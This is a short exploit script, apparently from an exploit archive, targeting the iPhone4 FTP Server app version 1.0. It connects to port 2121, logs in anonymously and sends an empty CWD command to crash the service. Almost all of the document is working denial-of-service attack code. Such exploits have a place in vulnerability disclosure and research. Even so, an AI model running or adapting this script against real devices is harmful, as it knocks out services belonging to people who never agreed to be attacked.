|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33  |  # Exploit Title: iPhone4 FTP Server V1.0 - Empty CWD-RETR Remote Crash # Date: 2011-05-30 # Author: offsetIntruder # Software Link: http://itunes.apple.com/us/app/ftp-server/id356055128?mt=8 # Version: 1.0 # Tested on: iPhone4 IOS 4.3.2 # CVE: N/A import socket import sys user="anonymous" print("\n iPhone4 FTP Server By Zhang Boyang - Empty CWD-RETR Remote Crash\n") def ExploitFTP(target):  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  s.connect((target,2121))  data = s.recv(1024)  print("[+] Sending user login...")  s.send("USER " + user + '\r\n')  data = s.recv(1024)  print("[+] Sending empty CWD...\n")  s.send("CWD \r\n")  data = s.recv(1024)  s.close() target = sys.argv[1] ExploitFTP(target)  |